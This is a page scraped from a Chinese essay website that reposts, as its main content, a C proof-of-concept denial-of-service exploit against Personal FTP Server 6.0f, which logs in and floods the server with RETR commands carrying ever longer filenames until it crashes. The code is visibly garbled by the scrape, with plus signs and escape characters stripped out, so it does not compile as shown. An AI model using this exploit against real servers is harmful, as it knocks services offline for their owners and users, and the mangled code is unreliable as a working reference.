• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 英语文章 > 正文

    The,Personal,FTP,Server,6.0f,RETR,Denial,of,Service,Exploit_Thenumberof

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    /*

    *** The Personal FTP Server 6.0f RETR DOS exploit *** A vulnerability exists in the way Personal FTP Server handles

    multiple RETR commands with overly long filenames.When confronted

    with such consecutive requests the server will crash. Usage : ./pftpdos ip port user password

    Ex. : ./pftpdos 127.0.0.1 21 test test Personal FTP Server homepage: http://www.michael-roth-software.de/ Discovey POC by Shinnok raydenxy [at] yahoo <dot> com

    http://shinnok.evonet.ro */ #include <stdio.h>

    #include <stdlib.h>

    #include <sys/socket.h>

    #include <sys/types.h>

    #include <netinet/in.h>

    #include <string.h>

    #include <malloc.h>

    #include <errno.h> int

    min (int x, int y)

    {

    if (x < y)return x;

    else

    return y;

    }

    extern int errno; int

    main (int argc, char *argv[])

    {

    struct sockaddr_in server;

    int i, t, s;

    char *req, *buff;

    s = socket (AF_INET, SOCK_STREAM, 0);

    bzero (&server, sizeof (server));

    server.sin_family = AF_INET;

    server.sin_addr.s_addr = inet_addr (argv[1]);

    server.sin_port = htons (atoi (argv[2]));

    connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));

    req = malloc (sizeof (char) *

    (((strlen (argv[3]) - strlen (argv[4]))

    min (strlen (argv[3]), strlen (argv[4])) 8)));

    sprintf (req, "USER %sxDxA", argv[3]);

    write (s, req, strlen (req));

    sprintf (req, "PASS %sxDxA", argv[4]);

    write (s, req, strlen (req));

    free (req);

    for (i = 1; i <= 5; i )

    {

    t = (sizeof (char) * 1000 * i);

    buff = malloc (t 1);

    memset (buff, "A", t);

    buff[t 1] = "";

    req = malloc (t 9);

    sprintf (req, "RETR %sxDxA", buff);

    if (write (s, req, strlen (req)) == -1)

    {

    perror (NULL);

    printf ("Target pwned!n", errno);

    }

    free (req);

    free (buff);

    sleep (1);

    }

    close (s);

    return (EXIT_SUCCESS);

    }

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全